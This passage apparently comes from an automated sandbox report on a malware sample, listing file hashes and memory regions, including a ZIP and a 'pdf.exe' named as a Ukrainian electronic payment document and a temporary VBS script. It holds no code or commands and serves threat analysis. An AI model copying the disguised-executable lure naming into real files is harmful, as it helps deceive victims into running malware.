                                  Filesize

                                  5KB

                                  MD5

                                  9e98923aa19ed54d57655f379d2c519f

                                  SHA1

                                  41e7846c8d586787bba39958daba3920eeaac0d7

                                  SHA256

                                  3f42704a1be86456d4f0eb362d824555bab149c5a5e9596948e508e200455f5a

                                  SHA512

                                  f471aec7b1ef132ab12a0f0c2d664869f78518a41198724c59f25f69446b213ea43a1474bb60c59226e08ce576eab653fbc08b729e062b1d9da25eea783b780c

                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                  Filesize

                                  6KB

                                  MD5

                                  db01c3803550e109e05c7b732a497fca

                                  SHA1

                                  4aa89c1cbcba545aa56be67918e137a4c4d51cdc

                                  SHA256

                                  8e9c522ae0ca7b0fd7d58d16af074dacf9861c82ba501a771f7900b533b00259

                                  SHA512

                                  3e8f6df9be2fbbcd3e02b956d8d64b1046fcb78e080171eb6c774c2145c6cb69ca4778303f852fee50200f74be87b48c91527cc58b4c78516d210bd51c702bf3

                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

                                  Filesize

                                  16B

                                  MD5

                                  206702161f94c5cd39fadd03f4014d98

                                  SHA1

                                  bd8bfc144fb5326d21bd1531523d9fb50e1b600a

                                  SHA256

                                  1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

                                  SHA512

                                  0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

                                  Filesize

                                  16B

                                  MD5

                                  46295cac801e5d4857d09837238a6394

                                  SHA1

                                  44e0fa1b517dbf802b18faf0785eeea6ac51594b

                                  SHA256

                                  0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

                                  SHA512

                                  8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                  Filesize

                                  10KB

                                  MD5

                                  a5b2a07627479c1c334018fbf276dccf

                                  SHA1

                                  ae267b50f6b6bcdb532ee5963e84a85493a20b60

                                  SHA256

                                  2a36c3187d556c2ddfc2e6b308e79c7d13e6727facd363d463d51f90dcc4e38f

                                  SHA512

                                  abba42db811338e647adad3e89046facd85d5716d282583d5ef3563335a06a9e6df6437acd61c5fd1359f5b13a881961388613c37229f930492590e9e016b23e

                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                  Filesize

                                  10KB

                                  MD5

                                  af152483dbbcbd4d716a9ec2fba7bd99

                                  SHA1

                                  fcb432adcb354d7775048bfabd541cd77d6bd32e

                                  SHA256

                                  2c0269f738fbfe47d0ce08631b2fc1a38b5320c5299c87159931e4488cee4661

                                  SHA512

                                  7ece372b8bb2c0a2184aa09eab92877d24a41ffa0648af3b9fc203f37cfea03990a97cde237ddb23922e1d09bfb405832a821cc16f15889dd4379e155521421e

                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                  Filesize

                                  64B

                                  MD5

                                  50a8221b93fbd2628ac460dd408a9fc1

                                  SHA1

                                  7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

                                  SHA256

                                  46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

                                  SHA512

                                  27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

                                • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\6768b68edd946.vbs

                                  Filesize

                                  15KB

                                  MD5

                                  e91de53bad8e8c706ebde12a8671b8c3

                                  SHA1

                                  71d49ddcf882f0558b6f4fbcf0e58fdc6d047593

                                  SHA256

                                  abbdbaf16f1b8cf2809f7cca771ac92ca1733e206ce8850fc07c0f0579c24b10

                                  SHA512

                                  d7c1b5859b65997bceec93dca36385c17c251743c82cae76876fcc38206f82171c455ad2d404639a31a0b4fc27e3b7a82a3c32052c992fd55d96c91d378411d1

                                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ckraqhxj.3eu.ps1

                                  Filesize

                                  60B

                                  MD5

                                  d17fe0a3f47be24a6453e9ef58c94641

                                  SHA1

                                  6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                  SHA256

                                  96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                  SHA512

                                  5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                • C:\Users\Admin\Desktop\Електронний платіжний документ.pdf.exe

                                  Filesize

                                  159KB

                                  MD5

                                  7070f4f3af9ebc5619d62c1fcba6113d

                                  SHA1

                                  7176ce3982b651d04c4cf1b171bf930ea5a72ceb

                                  SHA256

                                  316d5c59f698a69c054680ba57b029da7fb3d947f652d0a8461a0503da27c1fb

                                  SHA512

                                  9bd6dc4b1ac830d42ad0aa15b7bb5df172fc56126b624abf5c7351276b6eb283f347a046f17b28ddbf9d0d787e94c2915b1db0a99e4058297fc6bdd4035e13f1

                                • C:\Users\Admin\Downloads\Електронний платіжний документ_384783.zip

                                  Filesize

                                  107KB

                                  MD5

                                  568f5ff8a5884e1a59387105f85470b0

                                  SHA1

                                  bb532059d4fce8fc91851cea843b4186409d706c

                                  SHA256

                                  a3b3fb652d4e22fcbb1b29c46ce48761c915441e1b83ebf61e591610623b4670

                                  SHA512

                                  8f0ecd65dc3d9131d2d24600736a07acf70ced25e83f8c20b2bf0edc38afd1c889c18097793baeb248f93a73ded15e807104bf24a4f7a5067409dabd96e29385

                                • memory/1700-158-0x000001134ECA0000-0x000001134ECB0000-memory.dmp

                                  Filesize

                                  64KB

                                • memory/4100-146-0x00000235EE3E0000-0x00000235EE402000-memory.dmp

                                  Filesize

                                  136KB

                                • memory/4364-164-0x0000000000400000-0x000000000047F000-memory.dmp

                                  Filesize

                                  508KB

                                • memory/4364-167-0x0000000000400000-0x000000000047F000-memory.dmp

                                  Filesize

                                  508KB

                                • memory/4364-166-0x0000000000400000-0x000000000047F000-memory.dmp

                                  Filesize

                                  508KB

                                • memory/4364-160-0x0000000000400000-0x000000000047F000-memory.dmp

                                  Filesize

                                  508KB

                                • memory/4364-171-0x0000000000400000-0x000000000047F000-memory.dmp

                                  Filesize

                                  508KB

                                • memory/4364-172-0x0000000000400000-0x000000000047F000-memory.dmp

                                  Filesize

                                  508KB

                                • memory/4364-173-0x0000000000400000-0x000000000047F000-memory.dmp

                                  Filesize

                                  508KB

                                • memory/4364-176-0x0000000000400000-0x000000000047F000-memory.dmp

                                  Filesize

                                  508KB

                                • memory/4364-177-0x0000000000400000-0x000000000047F000-memory.dmp

                                  Filesize

                                  508KB

                                • memory/4364-159-0x0000000000400000-0x000000000047F000-memory.dmp

                                  Filesize

                                  508KB

                                • memory/4364-185-0x0000000000400000-0x000000000047F000-memory.dmp

                                  Filesize

                                  508KB

                                • memory/4364-184-0x0000000000400000-0x000000000047F000-memory.dmp

                                  Filesize

                                  508KB

                                • memory/4364-196-0x0000000000400000-0x000000000047F000-memory.dmp

                                  Filesize

                                  508KB

                                • memory/4364-197-0x0000000000400000-0x000000000047F000-memory.dmp

                                  Filesize

                                  508KB

                                • memory/4364-213-0x0000000000400000-0x000000000047F000-memory.dmp

                                  Filesize

                                  508KB

                                • memory/4364-214-0x0000000000400000-0x000000000047F000-memory.dmp

                                  Filesize

                                  508KB

                                • memory/4364-221-0x0000000000400000-0x000000000047F000-memory.dmp

                                  Filesize

                                  508KB

                                • memory/4364-222-0x0000000000400000-0x000000000047F000-memory.dmp

                                  Filesize

                                  508KB